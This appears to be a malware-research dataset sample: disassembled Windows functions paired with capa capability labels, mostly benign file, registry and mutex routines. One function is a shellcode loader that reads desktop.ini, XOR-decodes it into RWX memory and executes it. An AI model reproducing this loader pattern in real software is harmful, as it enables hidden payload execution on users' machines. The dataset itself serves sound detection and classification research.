joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4290ad
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
mov eax, dword [0x47c00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x208
xor edi, edi
lea eax, [ebp - 0x234]
push edi
push eax
call fcn.0044fa15
push 0x5c
pop edx
push 0x55
pop eax
push 0x6e
pop ecx
push 0x69
mov word [ebp - 0x2a], ax
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersion
pop eax
push 0x73
mov word [ebp - 0x26], ax
pop eax
push 0x74
mov word [ebp - 0x22], ax
pop eax
push 0x61
mov esi, dword [0x455638]
mov word [ebp - 0x20], ax
pop eax
push 0x6c
mov word [ebp - 0x1e], ax
pop eax
push 0x33
mov word [ebp - 0x1c], ax
mov word [ebp - 0x1a], ax
pop eax
push 0x36
mov word [ebp - 0x16], ax
pop eax
mov word [ebp - 0x14], ax
push 0x30
pop eax
mov word [ebp - 0x12], ax
xor eax, eax
push ebx
mov word [ebp - 0x2c], dx
mov word [ebp - 0x28], cx
mov word [ebp - 0x24], cx
mov word [ebp - 0x18], dx
mov dword [ebp - 0x10], 0x51685b89
mov dword [ebp - 0xc], 0x58eb536b
mov word [ebp - 8], ax
call esi
push eax
lea eax, [ebp - 0x234]
push ebx
push eax
call dword [0x45563c]
lea eax, [ebp - 0x2c]
push eax
call esi
push eax
lea eax, [ebp - 0x2c]
mov esi, 0x104
push eax
lea eax, [ebp - 0x234]
push esi
push eax
call dword [0x455624]
add esp, 0x30
mov dword [ebp - 0x450], edi
lea eax, [ebp - 0x234]
mov dword [ebp - 0x44c], edi
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x448], edi
push 0x20019
push eax
push 0x80000002
call fcn.00412cf7
test eax, eax
jne 0x429206
push 0x20a
lea eax, [ebp - 0x440]
mov dword [ebp - 0x444], esi
push edi
push eax
call fcn.0044fa15
add esp, 0xc
lea eax, [ebp - 0x444]
lea ecx, [ebp - 0x450]
push eax
lea eax, [ebp - 0x440]
push eax
push str.DisplayIcon
call fcn.0041efe8
test eax, eax
jne 0x429206
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
xor ecx, ecx
inc ecx
test eax, eax
cmovne edi, ecx
lea ecx, [ebp - 0x450]
call fcn.00412cdd
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044e9b2
leave
ret

Function at 0x429e5c
Capabilities:
Check mutex on windows

Disassembly:
push ebx
push esi
push edi
push 0x461cf4
mov esi, str.CRTPServer::Stop
mov ebx, 0x461610
push esi
push 0x2a7
push ebx
mov edi, ecx
call fcn.0043ba10
add esp, 0x10
cmp dword [edi + 0x54], 0
je 0x429ea1
push str.CRTPServer::Stop_set_event
push esi
push 0x2a9
push ebx
call fcn.0043ba10
mov ecx, dword [edi + 0x54]
add esp, 0x10
call fcn.0043dde0
push str.Global_rtpsvc_instance_mutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x429eed
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x429ecc
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [edi + 0x48], 0
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x429eea
push dword [edi + 0x48]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push dword [edi + 0x48]
call ebx
and dword [edi + 0x48], 0
push esi
call ebx
pop edi
pop esi
pop ebx
ret
Function at 0x42bb4a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
xor esi, esi
mov dword [ebp - 8], ecx
push esi
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push str.SOFTWARETencentQQPCMgr
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x42bb7b
xor eax, eax
jmp 0x42bb9f
push 4
lea eax, [ebp - 8]
push eax
push 4
push esi
push str.RtpState
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x42be36
Capabilities:
Set registry value

Disassembly:
push 0x14
mov eax, 0x4504ab
call fcn.0044fb82
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
push 0x2001f
push str.SYSTEMCurrentControlSetControlSession_ManagerMemory_ManagementPrefetchParameters
push 0x80000002
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], esi
call fcn.00412cf7
test eax, eax
jne 0x42bedc
push 3
pop edi
push 4
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], edi
push eax
push 4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push str.EnablePrefetcher
push dword [ebp - 0x1c]
call esi
push 4
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], edi
push eax
push 4
xor edi, edi
push edi
push str.EnableSuperfetch
push dword [ebp - 0x1c]
call esi
call fcn.004138dc
push 5
mov ecx, eax
call fcn.0043a060
test eax, eax
je 0x42bedc
call fcn.004138dc
mov ecx, str.CRTPServer::OpenSysPrefetch
push ecx
push str.__s__:_EnablePrefetcher_3_
push ecx
push 0x5fd
push 0x461610
push edi
push 5
push edi
push eax
call fcn.0043a100
add esp, 0x24
lea ecx, [ebp - 0x1c]
call fcn.00412cdd
call fcn.0044fb5f
ret
Function at 0x42f19b
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x47c00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.84B48DA1_935E_457d_9566_68C2222F9609
lea ecx, [ebp - 0x1c]
xor esi, esi
call fcn.00413997
cmp dword [ebp - 8], 8
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, eax
test edi, edi
je 0x42f1ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
inc ecx
cmp eax, 0xb7
push edi
cmove esi, ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x1c]
call fcn.004023ee
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.0044e9b2
leave
ret
Function at 0x42fbd3
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x47c00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
push 6
mov ebx, ecx
mov dword [ebp - 0x24], eax
pop ecx
xor eax, eax
mov dword [ebp - 0x28], edx
lea edi, [ebp - 0x1c]
xor esi, esi
push str.ZwQueryInformationProcess
rep stosd dword es:[edi], eax
push str.ntdll.dll
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x42fc86
push ebx
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x42fc86
push esi
push 0x18
lea eax, [ebp - 0x1c]
push eax
push esi
push ebx
call dword [ebp - 0x20]
test eax, eax
jne 0x42fc76
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 8]
test ecx, ecx
je 0x42fc4c
mov dword [ecx], eax
push eax
push esi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x42fc76
push 0x104
push dword [ebp - 0x28]
push edi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
xor ecx, ecx
inc ecx
test eax, eax
cmovne esi, ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
test edi, edi
je 0x42fc86
push edi
call ebx
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044e9b2
leave
ret

Function at 0x42fc97
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x47c00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x20a
xor edi, edi
lea eax, [ebp - 0x218]
push edi
push eax
mov esi, ecx
call fcn.0044fa15
add esp, 0xc
lea eax, [ebp - 0x218]
push esi
push str.Global04CE0CB6_CDF3_4a4b_8B9D_292A455FAF5B
push str._s__u
push 0x104
push eax
call fcn.00412b5e
add esp, 0x14
lea eax, [ebp - 0x218]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
test eax, eax
jne 0x42fd45
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x42fd4c
call fcn.004138dc
push 5
mov ecx, eax
call fcn.0043a060
test eax, eax
je 0x42fd41
call fcn.004138dc
lea ecx, [ebp - 0x218]
push ecx
push str._Mutex_s_:_Not_exist
push str.CTrayElevator::IsQMTrayExist
push 0x3af
push str.D:qci_workspace_root_workspaces__qci_pipeline_10989745_2FTHardwareQMPublicExeQMServiceTrayElevator.cpp
push edi
push 5
push edi
push eax
call fcn.0043a100
add esp, 0x24
xor eax, eax
jmp 0x42fd8e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004138dc
push 5
mov ecx, eax
call fcn.0043a060
test eax, eax
je 0x42fd8b
call fcn.004138dc
lea ecx, [ebp - 0x218]
push ecx
push str._Mutex_s_:_Exist
push str.CTrayElevator::IsQMTrayExist
push 0x3b6
push str.D:qci_workspace_root_workspaces__qci_pipeline_10989745_2FTHardwareQMPublicExeQMServiceTrayElevator.cpp
push edi
push 5
push edi
push eax
call fcn.0043a100
add esp, 0x24
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0044e9b2
leave
ret
Function at 0x401e78
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
mov dword [esp], 0x20
push esp
call sub.KERNEL32.DLL_GlobalMemoryStatus
mov eax, dword [esp + 0xc]
add esp, 0x20
ret

Function at 0x405838
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
je 0x40589a
call fcn.004057e8
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.004022a4
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.004022a4
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x4058f8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x4215e0], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x4059d2
cmp dword [0x4215dc], 0
jne 0x4059d2
cmp dword [0x4216fc], 0
je 0x40598c
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.004056e8
add esp, 8
mov ebx, eax
test eax, eax
jne 0x405972
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.004056e8
add esp, 8
mov ebx, eax
test eax, eax
jne 0x405972
lea ebx, [ebp - 0x84]
jmp 0x405973
inc ebx
call fcn.004058b4
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x405a0d
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x4215e4
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.004022a4
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x4215e7
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x405a0d
cmp dword [0x4215dc], 0
je 0x4059ec
cmp dword [0x4215dc], 0xffffffff
je 0x405a0d
push esi
call dword [0x4215dc]
pop ecx
mov eax, dword [0x4215e0]
test eax, eax
je 0x405a0d
cmp dword [0x4215e0], 0xffffffff
je 0x405a0d
cmp byte [eax], 0
je 0x405a0d
push esi
push eax
call fcn.00405838
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406418
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 8]
mov dword [ebp - 8], 1
mov dword [ebp - 4], esi
cmp edi, 1
jne 0x40649e
mov eax, dword [0x422920]
inc dword [0x422920]
test eax, eax
jne 0x40649e
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x4228f0], eax
mov edx, dword [ebp + 0x10]
mov dword [0x4090e7], edx
mov ecx, dword [esi + 0x44]
push ecx
call fcn.004033d0
pop ecx
cmp dword [0x421644], 0
je 0x406489
call fcn.004062d0
mov ebx, eax
test eax, eax
je 0x406489
mov edx, dword [ebx]
cmp dword [ebx + edx*4 + 4], 0xffffffff
je 0x406489
mov ecx, dword [ebx]
inc dword [ebx]
mov dword [ebx + ecx*4 + 4], esi
jmp 0x40649e
xor eax, eax
lea edx, [ebp - 8]
push 0
push edx
mov dword [0x421644], eax
call fcn.004062d8
add esp, 8
mov ecx, dword [ebp + 0x18]
push ecx
push edi
mov eax, dword [ebp + 0x10]
push eax
mov edx, dword [esi + 0x18]
push edx
call fcn.004065ac
mov ebx, eax
test edi, edi
jne 0x40650d
test edi, edi
jne 0x4064de
dec dword [0x422920]
jne 0x4064de
cmp dword [0x4228f0], 0
je 0x4064de
mov eax, dword [0x4228f0]
push eax
call sub.KERNEL32.DLL_FreeEnvironmentStringsA
xor edx, edx
mov dword [0x4228f0], edx
cmp dword [0x422920], 0
jne 0x40650d
cmp dword [0x421644], 0
jne 0x40650d
cmp dword [0x421634], 0
je 0x4064ff
call dword [0x421634]
push 1
lea ecx, [ebp - 8]
push ecx
call fcn.004062d8
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x1022797
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp - 8]
push eax
xor esi, esi
push esi
push ecx
push 0x102275c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x10227ef
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x10227df
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x10227df
mov esi, dword [ebp - 4]
jmp 0x10227e6
call fcn.01022031
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10227f6
call fcn.01022031
mov esi, eax
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x402b3f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call sub.msvcrt.dll_wcslen
pop ecx
add eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
leave
ret

Function at 0x402cc6
Capabilities:
Get file size
Read file on windows
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [ebp + 8]
call fcn.00402b0d
cmp eax, 0xffffffff
pop ecx
mov dword [ebp - 8], eax
je 0x402d58
push ebx
push esi
push edi
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
lea eax, [esi + 2]
push eax
push 0x2000
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x402d41
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push 0
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push esi
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x402d41
shr esi, 1
and word [edi + esi*2], 0
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push ebx
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
jmp 0x402d4a
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 4], eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
jmp 0x402d61
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 4], eax
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp - 4]
leave
ret

Function at 0x402e22
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret

Function at 0x402fd6
Capabilities:
Get common file path

Disassembly:
cmp word [0x410200], 0
push esi
mov esi, 0x410200
jne 0x402ff7
push 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
mov dword [0x41040c], eax
push esi
push dword [esp + 0xc]
call sub.msvcrt.dll_wcscpy
mov eax, dword [0x41040c]
pop ecx
pop ecx
pop esi
ret

Function at 0x403302
Capabilities:
Create process on windows

Disassembly:
push 5
mov eax, 0x40c420
push eax
push eax
push dword [esp + 0x14]
push 0x40c6bc
push dword [esp + 0x18]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x20
pop ecx
cmp ecx, eax
sbb eax, eax
neg eax
ret

Function at 0x404185
Capabilities:
Read .ini file

Disassembly:
and word [esi], 0
push 0x40fb68
push dword [esp + 0xc]
push esi
push 0x40c420
push dword [esp + 0x14]
push 0x40fd78
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringW]
mov eax, esi
ret
Function at 0x4041aa
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.0040afd0
and word [ebp - 0x2004], 0
push 0x2000
lea eax, [ebp - 0x2002]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x40fb68
push 0x1000
lea eax, [ebp - 0x2004]
push eax
push 0x40c420
push dword [ebp + 8]
push 0x40fd78
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringW]
cmp word [ebp - 0x2004], 0
je 0x404219
lea eax, [ebp - 0x2004]
push eax
push dword [ebp + 0xc]
call sub.msvcrt.dll_wcscpy
pop ecx
xor eax, eax
pop ecx
inc eax
leave
ret
xor eax, eax
leave
ret

Function at 0x40421d
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.0040afd0
and word [ebp - 0x2004], 0
push esi
push edi
push 0x2000
lea eax, [ebp - 0x2002]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov edi, 0x40fb68
push edi
push 0x1000
lea eax, [ebp - 0x2004]
push eax
push 0x40c420
push dword [ebp + 8]
mov esi, 0x40fd78
push esi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringW]
cmp word [ebp - 0x2004], 0
je 0x404284
cmp dword [ebp + 0x10], 0
jne 0x404284
xor eax, eax
jmp 0x404292
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringW]
pop edi
pop esi
leave
ret

Function at 0x404609
Capabilities:
Read .ini file

Disassembly:
push dword [esp + 4]
call fcn.00402e22
test eax, eax
pop ecx
je 0x404690
push esi
push edi
push dword [esp + 0xc]
mov edi, 0x40fb68
push edi
call sub.msvcrt.dll_wcscpy
push str.general
mov esi, 0x40fd78
push esi
call sub.msvcrt.dll_wcscpy
add esp, 0x10
push edi
push 0
push 0x40c768
push esi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntW]
dec eax
neg eax
sbb eax, eax
inc eax
push 0x3f
push str.charset
mov esi, 0x40fe00
mov dword [0x40fdfc], eax
call fcn.00404185
push 0x3f
push str.TranslatorName
mov esi, 0x40fe80
call fcn.00404185
push 0xff
push str.TranslatorURL
mov esi, 0x40ff00
call fcn.00404185
add esp, 0x18
pop edi
pop esi
ret

Function at 0x4055a4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov esi, eax
mov edi, ecx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [ebp - 0x10], eax
mov eax, edi
call fcn.00404bcc
and dword [ebp - 4], 0
test eax, eax
mov dword [ebp - 8], eax
jle 0x405631
cmp dword [ebp + 8], 0
je 0x4055ef
mov eax, dword [ebp - 4]
push 0x64
cdq
pop ecx
idiv ecx
test edx, edx
jne 0x4055ef
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
sub eax, dword [ebp - 0x10]
cmp eax, 0x1f4
ja 0x405631
mov ebx, dword [esi + 0xc]
add ebx, dword [ebp - 4]
cmp ebx, dword [ebp - 8]
jl 0x405603
test byte [esi + 0x10], 0x20
je 0x405631
sub ebx, dword [ebp - 8]
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push edi
mov eax, ebx
call fcn.00405367
test eax, eax
je 0x405626
push dword [ebp + 8]
push dword [ebp - 0xc]
call fcn.00405515
test eax, eax
jne 0x40563b
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jl 0x4055cc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 4
mov eax, ebx
jmp 0x405634
Function at 0x405b7d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8004
call fcn.0040afd0
push ebx
push esi
mov esi, 0x7fff
xor ebx, ebx
push esi
lea eax, [ebp - 0x8003]
push ebx
push eax
mov byte [ebp - 0x8004], bl
call sub.msvcrt.dll_memset
add esp, 0xc
push ebx
push ebx
push esi
lea eax, [ebp - 0x8004]
push eax
push 0xffffffffffffffff
push dword [ebp + 0xc]
push ebx
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
push ebx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x8004]
push eax
call sub.msvcrt.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x8004]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop esi
pop ebx
leave
ret

Function at 0x405bec
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.0040afd0
push ebx
push esi
mov esi, 0x1fff
xor ebx, ebx
push esi
lea eax, [ebp - 0x2003]
push ebx
push eax
mov byte [ebp - 0x2004], bl
call sub.msvcrt.dll_memset
add esp, 0xc
push ebx
push ebx
push esi
lea eax, [ebp - 0x2004]
push eax
push 0xffffffffffffffff
push dword [ebp + 0xc]
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
push ebx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2004]
push eax
call sub.msvcrt.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x2004]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop esi
pop ebx
leave
ret
Function at 0x406dae
Capabilities:
Get common file path
Get file system object information

Disassembly:
sub esp, 0x4cc
push ebx
push ebp
mov ebp, dword [sym.imp.COMCTL32.dll_ImageList_Create]
push esi
mov esi, eax
xor ebx, ebx
cmp dword [esi + 0x2bc], ebx
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
je 0x406e75
cmp dword [esi + 0x2c4], ebx
je 0x406e45
push 0x2b0
lea eax, [esp + 0x230]
push ebx
push eax
mov dword [esp + 0x234], ebx
call sub.msvcrt.dll_memset
push 0x208
lea eax, [esp + 0x2e]
push ebx
push eax
mov word [esp + 0x34], bx
call sub.msvcrt.dll_memset
add esp, 0x18
push 0x104
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
push 0x4001
push 0x2b4
lea eax, [esp + 0x230]
push eax
push ebx
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [esi + 0x2b0], eax
push eax
jmp 0x406e66
push 1
push 1
push 0x19
push 0x10
push 0x10
call ebp
push 1
push eax
mov dword [esi + 0x2b0], eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetImageCount]
push dword [esi + 0x2b0]
push 1
push 0x1003
push dword [esi + 0x2a8]
call edi
cmp dword [esi + 0x2c0], ebx
je 0x406eac
push 1
push 1
push 0x19
push 0x20
push 0x20
call ebp
push 1
push eax
mov dword [esi + 0x2b4], eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetImageCount]
push dword [esi + 0x2b4]
push ebx
push 0x1003
push dword [esi + 0x2a8]
call edi
push 1
push 1
push 0x19
push 0x10
push 0x10
call ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push ebx
mov dword [esi + 0x2ac], eax
call ebp
push 0x1000
push 0x10
push 0x10
push ebx
push 0x85
push eax
call dword [sym.imp.USER32.dll_LoadImageW]
push ebx
mov dword [esp + 0x14], eax
call ebp
push 0x1000
push 0x10
push 0x10
push ebx
push 0x86
push eax
call dword [sym.imp.USER32.dll_LoadImageW]
push ebx
push dword [esi + 0x2ac]
mov dword [esp + 0x1c], eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetImageCount]
push 0xf
call dword [sym.imp.USER32.dll_GetSysColor]
mov ebp, dword [sym.imp.COMCTL32.dll_ImageList_AddMasked]
push eax
push dword [esp + 0x14]
mov dword [esp + 0x20], eax
push dword [esi + 0x2ac]
call ebp
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esi + 0x2ac]
call ebp
push dword [esp + 0x10]
mov ebp, dword [sym.imp.GDI32.dll_DeleteObject]
call ebp
push dword [esp + 0x14]
call ebp
mov eax, dword [esi + 0x2ac]
mov esi, dword [esi + 0x2a8]
push eax
push ebx
push 0x1208
push esi
call fcn.00401f12
pop ecx
push eax
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4cc
ret